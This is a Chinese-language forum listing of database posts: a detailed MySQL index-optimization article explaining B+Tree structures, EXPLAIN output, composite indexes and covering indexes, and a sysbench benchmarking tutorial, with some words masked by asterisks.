• [技术干货] 华为云数据库服务全方位介绍--专家视频
    小伙伴们肯定还不熟悉华为云数据库服务吧于是让产品经理做了一回网红,直播!!!!当然,我是要告诉你,直播结束了!!然而视频还在,音容笑貌还在!!视频观看地址:点击观看点击不了请访问:http://huawei01.gensee.com/webcast/site/vod/play-90fc9e31d55b4be0a3705e07cffb94fb 云数据库服务作为云服务中PAAS层,是把数据库作为一种服务部署在云上,旨在实现数据库的自动化部署和运维。帮助企业解决传统数据库面临的诸多问题,如一次性投入固定成本高,项目交付周期长,运维耗费大,以及业务量暴涨或回落时不能及时扩容或收缩资源等问题。华为云数据库服务提供基于Microsoft SQL Server、MySQL、PostgreSQL等数据库引擎的实例。支持单机、主备或集群部署模式,支持主从热备、读写分离,提供备份、恢复、监控等方面的**解决方案。具备即开即用、稳定可靠、弹性伸缩等优势。
  • 中安威士----全数据生命周期安全防护、构建安全政务云...
    电子政务云(E-governmentcloud)属于政府云,结合了云计算技术的特点,对政府管理和服务职能进行精简、优化、整合,从粗放式、离散化的建设模式向集约化、整体化的可持续发展模式转变,使政府管理服务从各自为政、相互封闭的运作方式,向跨部门、跨区域的协同互动和资源共享转变。 政务云平台特有的虚拟化、多租户和远程管理、服务外包等特点,带来了新的信息安全挑战。当前,政务云平台面临的安全问题,主要包括自主可控水平不高,数据丢失、篡改和破坏,缺少对虚拟服务器上的应用系统运行和漏洞有效监控手段,等;其中,数据丢失、篡改和破坏,是重中之重。 针对目前云平台所面临的数据安全问题和需求进行分析,中安威士设计思路是: ▶以数据库安全审计为主,对数据库访问进行全面的记录,形成可视化、能告警、可追溯的安全机制。(可视) ▶同时配合数据库防火墙、敏感数据的加密和脱敏,实现不同层面对政务云平台数据的安全防护。(可控)
  • [技术干货] 跟我一起学 MS SQL Server (一)
    关于 Microsoft SQL ServerMicrosoft SQL Server 是由美国微软公司所推出的关系数据库解决方案,最新的版本是 SQL Server 2016, 已经在 2016 年 6 月 1 日发布。数据库的内置语言原本是采用美国标准局(ANSI)和国际标准组织(ISO)所定义的 SQL 语言,但是微软公司对它进行了部分扩充而成为作业用 SQL(Transact-SQL)。 几个初始版本适用于中小企业的数据库管理,但是近年来它的应用范围有所扩展,已经触及到大型、跨国企业的数据库管理。数据库服务的启动数据库结构物理结构逻辑结构数据库命名规则数据库分类[/td][/tr][/table] 创建数据库时需要指定的属性数据库的创建方法命令行创建数据库范例数据库的删除方法命令行删除数据库范例
  • [技术干货] 【数据库】数据库索引结构、原理与优化
    1、 引言数据库几乎是所有的系统都离不开的,对于一般的小型应用来说,很少有开发人员会在数据库上花费太多的精力;但是在实际业务中我们却发现,在一个快速增长的web系统中,最先成为性能瓶颈的往往就是数据库,有时候我们不得不在数据库的优化上花费大量的时间。在数据库的诸多优化手段中,索引的正确使用和优化是非常关键的一部分;下面将以MySQL数据库为例,系统的介绍一下索引的一般结构和优化方法;虽然在不同数据库下,细节可能会有些差异,但是道理都是通用的。2、 索引概述2.1 索引的类型数据库中的索引类型有多种划分方式;按照其中所包含的字段数量,那么索引可分为单索引和组合索引(又叫复合索引)两种;单索引是指只包含单个字段的索引,组合索引顾名思义就是多个字段组合在一起的索引;如果按照索引中所包含的字段类型来分,则可以分为主键索引和辅助索引;主键索引当然就是在主键上创建的索引,辅助索引则是在主键以外的其他字段上创建的索引;如果按照索引节点与物理记录的对应方式来分,则可分为**索引和非**索引,前者是指索引节点中直接包含了数据记录的索引方式,也即是说,整张表的记录顺序都是按照索引结构来组织的;而后者的索引节点中,只包含一个指向物理记录的指针(地址);在MySQL中,不同的存储引擎索引结构也不太一样;比如MyISAM存储引擎中,不管是主键索引还是辅助索引,都属于非**索引;而在Innodb引擎中,主键索引属于**索引,非主键索引则采用了非**索引的方式,也就是二级索引。后面将会详细介绍MySQL中索引的存储结构和查找原理;2.2 索引的实现常用的数据查找方式有三种:顺序查找、Hash查找和Tree查找;这三种类型中,顺序查找最简单,但是速度也最慢,在大数据量下无法使用;而hash查找虽然快速,而且无论数据量多大,只要算法合适,基本上可以做到O(n)复杂度,其中n=数据条数/冲突域长度;但是它有一个最大的缺点就是不支持范围查找;这在关系型数据库的sql规范中是不能接受的;如果使用树型结构,则支持遍历,支持范围查找;而对于二叉树来讲,其效率可做到log(n),而且性能也不会随着数据量的快速增长而下降太多,是比较理想的数据索引结构。2.3 索引的作用方式在不使用索引时,系统会对整张表的数据进行扫描;一般是通过主键进行遍历(有的表可能连主键都没有,则会按照记录存放的物理顺序遍历),取出每一条记录,然后判断对应的字段值是否满足需求,如果满足,则添加到结果集里;如果不满足,则继续扫描后续记录;在应用了索引的情况下,如果查询条件只有一个时,情况很简单,系统会去扫描对应索引,找到目标记录(和通过主键查找差不多,主要的区别就是索引上可能没有唯一性约束,所以在找到第一条记录后,还需要继续向后取出链上符合条件的其他记录)。但是当查询条件多余一个时,情况会稍微复杂一点;下面我们以包含两个查询条件的情况进行说明;假如我们在一张名为test的表上执行以下查询语句:select * from test where a=1 and b=2;这时候可能的查询方案共有三种:1. 直接取出满足a=1和b=2的记录;2. 同时取出a=1和b=2的记录,然后二者进行merge;3. 先取出a=1的记录,然后在这些记录里筛选出b=2的记录;4. 先取出b=2的记录,然后在这些记录里筛选出a=1记录;其中3和4本质上是一样的,只不过顺序不同,这里单独列出来只不过想强调一下其在不同索引情况下的区别;很明显,以上方案中1的效率是最高的,但是条件也比较苛刻,只有当建立了a、b上的组合索引时,才可能采取1的方案;对于2来说,一般只有当a和b两个字段上分别都建有索引时才有可能会这样执行,否则显而易见,其效率将会是很低的;如果只在a字段或b字段建了索引,那么很显然适合用3或4的方案;那么我们不妨想一想,如果在a和b字段都建了单索引的情况下,会不会也可能走3或者4的方案呢?答案是肯定的;这种情况主要取决于这两个字段的区分度(数据库中一般会有个Cardinality的概念,其原意是指实体关系模型中的1:N或者N:N这样的映射关系,这里可以简单地理解为其代表着数据的区分度);所谓的字段区分度是指,表中所有记录的这个字段上一共会有多少不同的值,也即用这个字段来区分不同记录的程度如何;如果这个字段的不同取值越多,说明区分度越高,那么在这个字段上建索引效果也越好,反之就越差。字段区分度对查询方式的具体影响,后边会详细介绍。3、 MySQL索引具体结构3.1 引子MySQL的索引都是由底层存储引擎来管理的,每种引擎的具体实现也不太一样,但基本就是b-tree和b+tree两种;下面主要介绍一下我们日常熟悉的MyISAM引擎和Innodb引擎的索引结构。首先我们模拟一张表,并以这张表为例来介绍索引的实际结构;该表名为user,主要包含了用户的一些个人基本信息,如id、姓名、年龄、联系方式等,具体结构如下表所示:3.2 MyISAM的索引实现MyISAM引擎使用的B+Tree的结构来构造索引。B+Tree的特点就是一条查询路径上所有节点的数据都会同时保存在叶节点上,同时每个叶节点间会以指针相连,这样也可以通过叶节点向后顺序遍历后续所有节点,为范围查询提供了方便;在MyISAM的索引中,叶节点的data域存放的是数据记录的地址。下图模拟了user表中age字段上的单索引结构(这张图只给出索引的原理结构,并不代表实际存储的物理结构):在MyISAM中,主索引和辅助索引(Secondary key)在结构上没有任何区别,都如上图所示;只是主索引要求key是唯一的,而辅助索引的key可以重复;根据前面的定义,MyISAM的索引属于非**索引。由于在索引节点中仅仅保存了数据记录的指针(地址),所以在搜索的时候,系统首先按照B+Tree的检索的算法搜索对应的key的节点,如果该节点存在,则取出其data域的值,然后以该值为地址,再到表的数据存储区读取相应记录。3.3 Innodb的索引实现Innodb同样使用B+Tree作为索引结构,但具体实现方式却与MyISAM有一些不同。首先就是InnoDB的数据文件本身就是索引文件。从上文知道,MyISAM索引文件和数据文件是分离的,索引文件仅保存数据记录的地址。而在InnoDB中,表数据文件本身就是按B+Tree组织的一个索引结构,在树的每个叶节点保存对应的数据记录,而仅仅是一个记录地址。这个索引的key是数据表的主键,因此InnoDB表数据文件本身就是主索引。如下图所示:从图中可以看到树的每个叶节点都包含了完整的数据记录,这种索引方式就是我们前面讲的**索引;因为InnoDB的数据文件本身要按主键排序,所以在创建InnoDB表时必须要有主键,如果没有显式指定,那么系统会自动选择一个可以唯一标识数据记录的列作为主键,如果不存在这种列,则系统自动为该表生成一个隐含字段作为主键,这个字段长度为6个字节,类型为长整形。还有一个与MyISAM索引的不同点就是,在InnoDB的辅助索引叶节点的data域中,存储的是对应记录的主键id而不是记录的地址。换句话说,InnoDB的所有辅助索引都引用主键作为data域。所以在Innodb引擎中,同样是user表age字段上的索引,其结构将如下图所示:Innodb中主键索引的这种实现方式使得按主键的查询十分高效,但是辅助索引搜索需要检索两遍索引:首先检索辅助索引获得主键,然后再到主键索引中查询对应记录。了解不同存储引擎的索引实现方式对于正确使用和优化索引都非常有帮助,例如知道了InnoDB的索引实现后,就很容易明白为什么不建议使用过长的字段作为主键,因为所有辅助索引都引用主健索引,过长的主索引会令辅助索引变得过大。再例如,用非单调的字段作为主键在InnoDB中不是个好主意,因为InnoDB数据文件本身是一颗B+Tree,非单调的主键会造成在**新记录时数据文件为了维持B+Tree的特性而频繁的分裂调整,效率非常低,而使用自增字段作为主键则是一个很好的选择。4、 MySQL索引实例分析4.1 准备工作4.1.1 explain命令Explain命令是MySQL提供的一个帮助查询优化器制定sql执行计划的功能,其他很多的数据库也都各自提供了类似的命令;在实际开发中,我们可以事先通过explain来分析我们的sql在不同的索引结构下是如何执行的;也可以帮助开发人员在线上环境分析慢查询,从而对sql和索引进行优化; 使用explain命令会输出类似下面的结果:这里先解释下explain解析结果中各个字段的属性含义;id代表该条语句在整个语句解析中的顺序,当存在嵌套查询时,explain解析出来的结果是多条的;select_type代表查询类型,如子查询、UNION等;table顾名思义指的是表的名称;type指的是查找数据的方式,如全表扫描、读常量、索引扫描等;possible_keys代表该条语句可以使用的索引;key代表实际使用索引;key_len代表使用的索引长度,对于组合索引,可能只是用到了其中的部分字段;ref指的是引用类型,rows是解析器估算的最多需要扫描的记录条数;extra用来说明一个额外信息,上边这条语句中extra只有一个Using where,不过别急,下边我们就会看到更多的。后面我们就使用explain命令对一些具体的sql语句进行分析,来说明不同的索引结构和sql写法会产生什么样的执行效果。4.1.2 数据准备shop_group_item表是这次现网系统中使用的一张表,我们后面的分析都是基于该表进行的,所使用的数据都是从线上导出的真实数据,部分sql也是目前生产环境中正在使用的;下表是shop_group_item的schema结构:目前该表的线上索引结构如下图所示(这里只列出了下文主要涉及到的一些字段,省略了部分不必要字段):我们可以看出,shop_group_item这张表一共有三个索引,一个是PRIMARY,也就是主键索引;剩下两个都是组合索引,idx_group_id_item_id这个包含group_id,item_id和status三个字段,另个一idx_group_id_uid_status包含了group_id,user_id,status,gmt_create四个字段,这里要特别注意一下seq_in_index这个字段,它表明了对应column在索引中的顺序,这直接决定着后边查询时的索引应用效果;因为线上的sql语句数量较少,类型也基本确定,所以shop_group_item表只建了一个主键索引和两个组合索引;下面为了方便对比测试,我们先将两个组合索引drop掉,再手工为shop_group_item表添加几条单索引(用于测试的记录数量为10w);我们分别添加了idx_group_id(包含group_id字段)、idx_user_id(包含user_id字段)、idx_status(包含status字段)三条单索引;最终,shop_group_item这张表上的索引情况如下(只展示了主要字段):下面,我们就通过不同sql对应的执行计划来分析一下MySQL索引的一些特性,以及为什么会有这样的特性;4.2 单索引查询4.2.1 无索引查询首先我们看下用一个没有任何索引的字段进行查询;explain select * from shop_group_item whereitem_price=444;从sql解析中我们可以看出,MySQL无法为这条语句应用任何索引,只能去走全表扫描,遍历所有记录,找出所有符合要求的。4.2.2 主键查询作为对比,我们尝试下通过主键id直接查询记录;下面是我们线上正在使用的一条sql:explain select * from shop_group_item where id=12003; 我们的where条件中只有一个id字段,所以MySQL理所当然的使用了主键索引;这种情况下效率是非常高的,语句执行几乎没有花费什么时间,其执行结果如下图:4.2.3 非主键查询下面我们来看下非主键索引的效率情况:explain select * from shop_group_item wheregroup_id=12003;这里我们看到,该sql和只用主键id查询的解析结果基本一样,用时也很少;唯一的一点差别就是type值不一样,这是因为idx_group_id这个索引没有像主键的那样的唯一性约束,系统无法判断group_id=12003的记录的准确数量,所以无法标志成const。4.2.4 多条件索引合并我们再来看下另一条线上语句的执行情况,里边涉及到了多条件查询;explain select * from shop_group_item wheregroup_id=144030 and user_id=157860040;由于结果全部输出太长,所以这里只贴出我们关心的部分:我们可以看到,在只对group_id和user_id分别建了单索引的情况下,数据库选择了索引合并的方式,即前文我们提到的方案2;该sql解析的Extra字段如下:我们可以看到,数据库是通过intersect的方式去处理索引结果**并的;4.2.5 多条件非索引合并对于上例中多条件查询的情况,数据库是不一定会按照索引合并的方式来处理;explain select * from shop_group_item wheregroup_id=144030 and status=1;这里我们可以看出,虽然在group_id和status两个字段上都建有单索引,但是status上的索引并没有被选用,而只应用了group_id上的索引;数据库为什么会有这样不同的处理结果呢?我们不妨回顾一下我们前面给出的这几个索引的基本信息;我们会发现idx_group_id这个索引的Cardinality字段值为24711,idx_user_id为32949,而status字段上的idx_status仅有4,也就是说,status这个字段仅有4个不同的值,区分度非常低!也就是说这个条件对记录的过滤能力非常差,所以虽然该字段建有索引,但是数据库却干脆弃之不用了!另一点我们需要注意的是这条sql解析的Extra字段中出现了Using where这样的信息,表明该查询光走一次索引查询是搞不定的,还要进一步应用where子句中的查询条件来进行处理。4.3 组合索引查询4.3.1 组合索引结构组合索引在我们日常的开发中也会经常用到;本质上组合索引和单索引并没有区别,只不过在组合索引中,每个b+tree节点中的包含了多个字段的数据;如下图所示:组合索引在多条件查询的索引应用中,有很多需要注意的地方的,下面仍以上例中的数据库为例进行说明;首先,我们先将前面我们drop掉的两条组合索引加上;加完之后,shop_group_item表上的索引结果如下:这里需要说明的是,虽然我们并没有对表中记录进行增减,但是对应的索引的Cardinality值却发生了变化,这是因为数据库对这个值只是进行了粗略的统计,而且是每隔一段时间去更新一次,或者手动触发的时候去更新的,所以这个值只能用来作为参考,并不是精确值;4.3.2 多索引的选择我们重复一下2中的查询,看看在既有单索引有有组合索引的情况下,数据库会如何选择;explain select * from shop_group_item wheregroup_id=12003;这里我们仍截取我们关心的字段情况:我们发现,这条查询可以应用的索引有三个,虽然其中包括两个组合索引,但是MySQL最后还是选择了idx_group_id这条单索引,我们再对比一下前图的Cardinality值,发现在这三个索引中,应用到group_id字段的Cardinality值均为25155,也就是说从区分度上来讲,后两个组合索引并不比第一个单索引更好,而在扫描组合索引的索引节点时,显然效率更低一些,所以数据库很聪明的选择了单索引去查询;为了对比,我们再来看看下面这条sql的解析情况;explain select * from shop_group_item where group_id=151272 and user_id= 907638037;当使用group_id和user_id两个查询条件时,MysQL判断出有4个索引可以使用,分别是可应用于group_id字段的idx_group_id和idx_group_id_item_id;可应用于user_id字段的idx_user_id以及可以同时应用于这两个字段的组合索引idx_group_id_uid_status;解析器很明智的选择了匹配度最高的一个;从后边的key_len也可以看出,虽然idx_group_id_uid_status这个索引包含有三个字段,但是由于条件里只有group_id和user_id两个条件,所以只应用了索引中的前两个字段;4.3.3 查询条件顺序在不建索引的情况下,where子句中查询条件的顺序可能会对查询效率有影响;那么在建有索引的情况下呢?我们来看下边的例子:我们只需要4.2.2中第二条查询的查询条件顺序调换一下即可;explain select * from shop_group_item whereuser_id=157860040 and group_id=144030;由此可以推测,where子句中查询条件的顺序调换是不影响索引的应用的;而事实上也确实是如此的,优化器并不关心查询条件的具体顺序,在执行前它会很好的去调整以匹配最合适的索引。4.3.4 最左前缀匹配既然在多条件查询时组合索引效率更高,那么是不是只要是包含在索引中的字段就会应用相应的索引呢?我们来看下面的sql:explain select * from shop_group_item whereuser_id=157860040 and status=1;很可惜,idx_group_id_uid_status这个组合索引并没有起作用,只有group_id上的单索引被使用了;其实在我们了解了上边的组合索引的结构之后,就应该能想明白了为什么了;因为B+Tree实现的组合索引这种索引结构,其本身就是要求最左前缀匹配的,当查询条件中不包含索引中的第一个字段时,系统是无法在树中确定查找的入口的,如果要强制去使用索引,那么只能从根节点去遍历,这样的话效率反而不如使用单索引了;还有下面的情况:explain select * from shop_group_item wheregroup_id=144030 and status=1 and gmt_create=´2012-12-07 14:51:36´;看起来貌似很可惜,我们就差了一个user_id字段,但是解析器很无情的直接放弃了idx_group_id_uid_status这个索引,而是使用了idx_group_id_item_id,同样key_len为8,也就是说只用到了索引中的group_id字段;那么如果我们强制使用idx_group_id_uid_status这个索引结果又会如何呢?我们来看一下:explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 and status=1 andgmt_create=´2012-12-07 14:51:36´;解析器很听话的使用了idx_group_id_uid_status,但是我们看到,key_len仍然是8,group_id后边的字段并没有生效;其实我们仔细想想,根据组合索引的结构,解析器只能使用最左前缀匹配,所以没生效是必然的事情,否则查询的效率就不升反降了。4.4 Order by查询前面简单介绍了符合索引应用时的一些规则,下面我们再看一下在我们日常开发中也会经用到的order by对索引的应用情况;4.4.1 无索引order by首先我们先来看一个在没有建索引的字段上使用order by的例子;shop_group_item表中有一个item_price字段,用来记录宝贝的价格,下面我们就对他进行排序:explain select * from shop_group_item wheregroup_id=144030 order by item_price;在索引的应用上,只使用了group_id字段上的单索引idx_group_id,和我们预期的情况完全一样;但是我们在看下它的Extra字段:Using where是我们并不陌生的,因为item_price字段信息没有在索引数据中,所以无法直接返回结果集;但是这次多了一个Using filesort是我们以前没见过的;它的意思是通过索引拿到结果集后,为了处理后边的order by,还必须要进行一次文件排序;但是需要说明的是,这里的filesort并不一定就是磁盘排序,也可能完全是基于内存,只有当需要排序的记录比较多,无法全部在内存中完成时,才会使用磁盘;4.4.2 有索引order by看完了上边的情况,我们当然要再试一下建有索引的字段是如何处理排序的;explain select * from shop_group_item wheregroup_id=144030 order by status;虽然status字段上也建有索引,但是执行计划并没有像3中的那样,使用索引merge,而且Using filesort也还存在,也就是说,status上的排序并没有使用索引;其实我们仔细回忆一下前边讲过的索引的结构就会明白,在这种排序字段不在查询条件中的情况,理论上讲也是无法应用索引排序的;那我们不妨再看下排序字段同时也在查询条件中的情况会如何制定执行计划;explain select * from shop_group_item wheregroup_id=144030 order by group_id;果然,不出我们所料,不但Using filesort没有了,就连Using where也消失了;因为排序字段就是起作用的索引字段本身,所以系统直接使用了索引的结果,根本就不需要再进一步处理了,而且因为也没有其他查询限定,所以也不需要在应用where子句的条件进一步处理了;4.4.3 组合索引order by在单索引上,我们了解了执行计划是如何制定的,那么在组合索引上情况又如何呢?explain select * from shop_group_item wheregroup_id=144030 order by user_id;解析器这次并没有选择group_id字段上的单索引,而是很明智的选择了idx_group_id_uid_status这个组合索引,但是我们要注意一下它的key_len字段,只有8,也就是说,查询使用的索引字段只有group_id,并不包括user_id字段;根据组合索引的结构就不难理解,order by其实类似于范围查询,没办法通过索引一次性定位,必须要对结果进行进一步处理,所以在Extra信息里还出现了Using where;但即便是这样,其效率也是很高的;而这里查询字段group_id和排序字段user_id是索引idx_group_id_uid_status的前两个字段,符合最左前缀匹配原则,所以可以直接使用索引顺序,不管正序还是倒序,都不需要再重新做一次filesort了。4.4.4 order by的最左匹配通过前面的例字我们知道了多where条件查询组合索引的最左前缀匹配原则,那么存在order by的情况是不是也这样呢?我们来看一下:explain select * from shop_group_item wheregroup_id=144030 and status=0 order by gmt_create; 可以看到,在应用索引的时候,MySQL并没有选择idx_group_id_uid_status这个包含gmt_create的索引,而是选择了idx_group_id_item_id,而且仍然只有第一个字段即group_id生效了; 再来看他的Extra信息:其中仍有Using filesort信息,也就是说,最后的排序并没有用到索引,而是又重新排了一次序;那有人会问,是不是因为查询应用idx_group_id_item_id这个索引中不包含gmt_create才会这样呢?那我们不妨试一下强制使用idx_group_id_uid_status的情况: explain select * from shop_group_item forceindex(idx_group_id_uid_status) where group_id=144030 order by gmt_create;可以看到,这种情况下MySQL仍然使用了文件排序;其实我们分析一下组合索引的结构即可明白,虽然索引是有序的,但是索引中的节点并不是按照gmt_create这个字段有序排列的,而是索引所有字段的一个整体有序;对于单个字段来讲,只是在这个字段所处的当前层次内才是有序的;4.5 索引覆盖4.5.1 准备工作在数据库查询中,如果我们很好地应用了索引,那么将使我们的sql效率得到极大的提升,可能以前令人头疼的性能瓶颈一下子就解决了!但是人都是不知足的,我们总会想:还有没有办法更快点?答案是肯定的!下面我们就来看下索引覆盖的情形;为了能让在不同的数据量下sql在执行时间上的对比更强烈一些,我们特意将shop_group_item这张表的记录数增加到100万,和前边一样,这些数据都是来自生产环境的真实数据,所以不存在特殊性的问题;同时,为了方便对比,我们为这张表取了个新的名字shop_group_item_t,但是表结构前后是完全一样的。4.5.2 主键索引效率首先,我们再将1中的sql在shop_group_item_t中重新执行一遍;select * from shop_group_item_t where id=12003;在我们的测试中,这条sql的执行时间是0.03 sec(在关闭查询结果缓存的情况下),相较于上次shop_group_item表10w条记录0.00sec的情形,可以说已经慢了很多了;4.5.3 非主键索引效率 同样,我们还要再尝试一下再非主键索引上的情况;我们将4.3.2中的第二条查询在shop_group_item_t表上再执行一下,一共查询到10条记录,耗时0.06sec(关闭缓存多次重复执行的时间基本相同);而同样的语句和结果在只有10w条记录的shop_group_item表上执行时耗时为0.00sec;其实从上边两个简单的例子就可以看出,即便是恰当的使用了索引,在数据量比较大的情况下,sql的执行消耗也会相应增大;这还仅仅是最简单的单条件查询!如果数据量和sql的执行频率再进一步增加,可以想象,我们的数据库会很快出现瓶颈,我们必须进一步优化!4.5.4 分页查询(屌丝写法)在平时的开发过程中,分页查询是我们经常写的一类sql;最普通的分页写法一般是这样的:select * from shop_group_item_t where group_id =107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看下这条sql的执行计划是什么样的;首先看他的索引应用情况:这个执行计划和我们前边讲得一样,没有什么特别;接下来再看下Extra信息:从以上sql的执行计划我们可以推测出数据库的执行过程:首先,从idx_group_id_item_id中检索出group_id=107127的节点,然后根据节点上存储的主键id取出对应的记录,然后在应用查询条件中的status=0对这些记录进行过滤,最后再将过滤后的记录按照gmt_create进行降序排列,取出其中的前20条,返回给客户端;在我们的测试中,这条sql的执行时间是0.27 sec(在关闭查询结果缓存的情况下),应该说比较慢了,何况我们现在只有100万的记录,符合group_id=107127和status=0的记录也就几百条;4.5.5 分页查询(文艺写法)上例中的分页sql可谓是最“屌丝”的写法了,在sql review时,一般都会被dba打回,要求改写成如下所示的“文艺”分页写法:select * from (select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20 ) a,shop_group_item_t s where a.id = s.id;乍一看,sql语句长了不少,但是在实际执行时,相同测试环境下这条sql所耗费的时间几乎为0!果然够文艺!那么为什么这个效率就会高呢?下边来看下它的执行计划;因为宽度问题,我们还是分两屏贴出:sql执行计划的执行顺序是按照其id从大到小执行的,也就是说,首先被执行的是id=2的计划,它对应我们上述sql语句最内层的查询;我们看到,其select_type值为DERIVED,涵义是指该查询为派生表的select查询(from子句的子查询),我们同时也看到虽然应用了idx_group_id_uid_status索引,但是其type和rows分为ALL和990872;对比最开始1中全表扫描查询的所需时间,这里显然没有使用全表扫描,而是应用了索引,所以explain出来的执行计划并不是绝对准确无误的;在两个id为1的执行计划中,第一个table为表名这个是个派生表,其实也就是a表,这个表走的是全表扫描,一共涉及到20条记录;而s表则走了主键索引,同时ref字段值为a.id,type字段为eq_ref,表示使用了a.id这个列的值来精确匹配主键索引筛选出需要的行;所以整个sql的执行流程如下:a、 首先从索引idx_group_id_uid_status中筛选出所有group_id = 107127的索引节点,然后从这些节点中再找出status=0的节点,之后按照gmt_create字段对剩下的节点排序(因为idx_group_id_uid_status包含了group_id、status、gmt_create这些字段,所以之前的筛选都只需在索引节点中进行)最后取出前20条数据的id值(id为主键,也包含在索引节点中,所以这一步仍在索引中进行)放到临时表derived2中;b、 顺序遍历derived2中的每条记录中的id值,然后用这个值去s(由shop_group_item_t表派生而来)表中根据主键索引查询对应记录;c、 最后将查到的所有记录返回给客户端;4.5.6 执行计划准确吗下面我们把上例中最里层的sql拿出来单独做一下解析;explain select id from shop_group_item_t wheregroup_id = 107127 and status = 0 order by gmt_create desc limit 1,20;下面我们看一下它的执行计划:这个执行计划看起来就很正常了,仍然使用了idx_group_id_uid_status这个索引的第一个字节,ref为常量匹配,读取的记录为30条;此外,Extra中还出现了Using where和Using index,前者根据我们16.a中的分析,出现是很正常的,而Using index表示返回给客户端的结果集中所需要的字段都可以从索引中拿到,不需要再去表中查询,根据我们前面的分析来看,这个也是很正常的;4.5.7 索引覆盖原理上例中“文艺”分页写法的例子,其实就是前面我们所说的索引覆盖(index coverage),即索引中的字段数据即可覆盖结果集中的所需字段,这样查询时只扫描索引即可,不需要再到数据表中重新取数据了;在sql优化中,一条很重要的原则就是尽量减少“回表”;所谓回表,是指sql执行过程中,无法在索引中取到全部需要的数据,必须要到表中重新将所需的字段取出来,然后再进行后续操作;因为表中记录的数据一般都是在磁盘上的,很少能从缓存直接取到,所以而这个回表的操作是非常耗时间的,尤其是回表的次数和数据条数比较多时候更是如此!索引覆盖是非常好的避免回表的方法;一般来讲,数据库会尽量将索引放在缓存中,即便需要从磁盘中读取,索引的查找效率也很高的;所以如果能从索引中取到所有需要的数据,那就可以避免到回表这部分的磁盘I/O,性能将会大大提升;当然,也不是说应该把表中的所有字段都包含到索引里边,因为索引的维护开销也是很大的;每一次写操作,都需要更新对应的索引数据,包括添加索引记录,B+树结构调整,节点分裂、移动等,所以实际产生的磁盘I/O量可能是写操作数量的几倍甚至更多;所以,究竟建什么样的索引,包含哪些字段,是需要综合多方面因素来权衡的,包括以下几个方面:a、 业务逻辑需要什么样的sql语句;b、 每条sql语句的执行频率如何;c、 sql语句的查询条件和执行频率主要决定了建什么样的索引;d、 schema结构(字段类型、区分度等)影响着索引的效率;而反过来,索引优化方式也会逆向反馈sql语句和程序代码的写法,甚至不得已还要调整业务逻辑;这就是我们前面所说的向上反馈。5、 总结以上主要介绍了数据库索引的一些东西,只是整个数据层优化的一部分,甚至限于时间和篇幅,连这一部分都没有介绍全面,比如说索引的磁盘结构,distinct的优化、join的优化等等,也并没有分析sql执行时的具体IO情况;本文的目的旨在总结平时工作和学习的一些所得,也算是抛砖引玉的作用,欢迎有兴趣的同学一起讨论!
  • 【数据库】MySQL基准测试工具Sysbench
    Sysbench是一个模块化的、跨平台、多线程基准测试工具主要用于评估测试各种不同系统参数下的数据库负载情况。它主要包括以下几种方式的测试:1、CPU性能2、磁盘IO性能 3、调度程序性能4、内存分配及传输速度5、POSIX线程性能6、数据库性能(OLTP基准测试)目前Sysbench主要支持 MySQL、PostgreSQL、Oracle 这3种数据库。源码安装:1)从http://sourceforge.net/projects/sysbench 下载源码包。2)tar -xzvf sysbench-0.4.8.tar.gz3)cd sysbench-0.4.8 ./configure && make && make installstrip/usr/local/bin/sysbench注:1)以上方法适用于 MySQL 安装在标准默认目录下的情况,如Mysql安装在/usr/local/mysql 下 ./configure --with-mysql-includes=/usr/local/mysql/include--with-mysql-libs=/usr/local/mysql/lib && make && makeinstall 2)如果想要让 sysbench 支持 pgsql/oracle ,在编译的时候加上参数 --with-pgsql 或者 --with-oracle(这2个参数默认是关闭的,只有 MySQL 是默认支持的)通过yum管理工具安装:1)yum install sysbench:Installed: sysbench.x86_64 0:0.4.12-5.el6Dependency Installed: postgresql-libs.x86_64 0:8.4.20-1.el6_5Complete!Sysbench常用参数1、--num-threads=300:启动的线程数2、--max-time=60:运行时间3、--test=oltp:测试类型4、--db-driver=mysql:测试的数据库类型5、--oltp-table-size=1500000:表初始化数据量(行)6、--oltp-nontrx-mode=insert:测试非事务模式7、--mysql-table-engine=innodb:测试的表引擎8、--mysql-host=localhost:要测试的主机9、--mysql-port=5100:mysql端口10、--mysql-user=root --mysql-password=** :mysql用户名和密码11、--mysql-socket=/home/mysql/mysql/tmp/mysql.sock :mysql本地socket套接字路径 Sysbench使用步骤1)清理数据:sysbench --num-threads=300 --max-requests=0--max-time=60 --test=oltp --db-driver=mysql --oltp-table-size=1500000--oltp-nontrx-mode=insert --oltp-test-mode=nontrx --mysql-table-engine=innodb--mysql-host=localhost --mysql-port=5100 --mysql-db=test --mysql-user=_root--mysql-password=cnN4HBH98lublJXMf5hPEp48 --mysql-socket=/home/mysql/mysql/tmp/mysql.sock cleanupsysbench 0.4.12: multi-threaded system evaluation benchmarkDropping table ´sbtest´...Done.2)准备数据:sysbench --num-threads=300 --max-requests=0--max-time=60 --test=oltp --db-driver=mysql --oltp-table-size=1500000--oltp-nontrx-mode=insert --oltp-test-mode=nontrx --mysql-table-engine=innodb--mysql-host=localhost --mysql-port=5100 --mysql-db=test --mysql-user=_root--mysql-password=cnN4HBH98lublJXMf5hPEp48 --mysql-socket=/home/mysql/mysql/tmp/mysql.sock preparesysbench 0.4.12: multi-threaded system evaluation benchmarkCreating table ´sbtest´...Creating 1500000 records in table´sbtest´...3)执行测试:sysbench --num-threads=300 --max-requests=0--max-time=60 --test=oltp --db-driver=mysql --oltp-table-size=1500000--oltp-nontrx-mode=insert --oltp-test-mode=nontrx --mysql-table-engine=innodb--mysql-host=localhost --mysql-port=5100 --mysql-db=test --mysql-user=_root--mysql-password=cnN4HBH98lublJXMf5hPEp48 --mysql-socket=/home/mysql/mysql/tmp/mysql.sock run sysbench 0.4.12: multi-threaded system evaluation benchmark========================OLTP test statistics: queries performed: read: 0 write: 110707 other: 0 total: 110707 transactions: 110707 (1841.17 per sec.) deadlocks: 0 (0.00 per sec.) read/write requests: 110707 (1841.17 per sec.) other operations: 0 (0.00 per sec.)
  • 买个高性能云盘在上面跑数据库和直接买数据库服务性能
    求问大神,我买个高性能云盘在上面跑myql数据库和直接买数据库服务在性能上有多大区别?不用考虑数据库服务封装的其他功能。。
  • [技术干货] 【弹性伸缩】在华为云上搭建可自动伸缩的discuz论坛
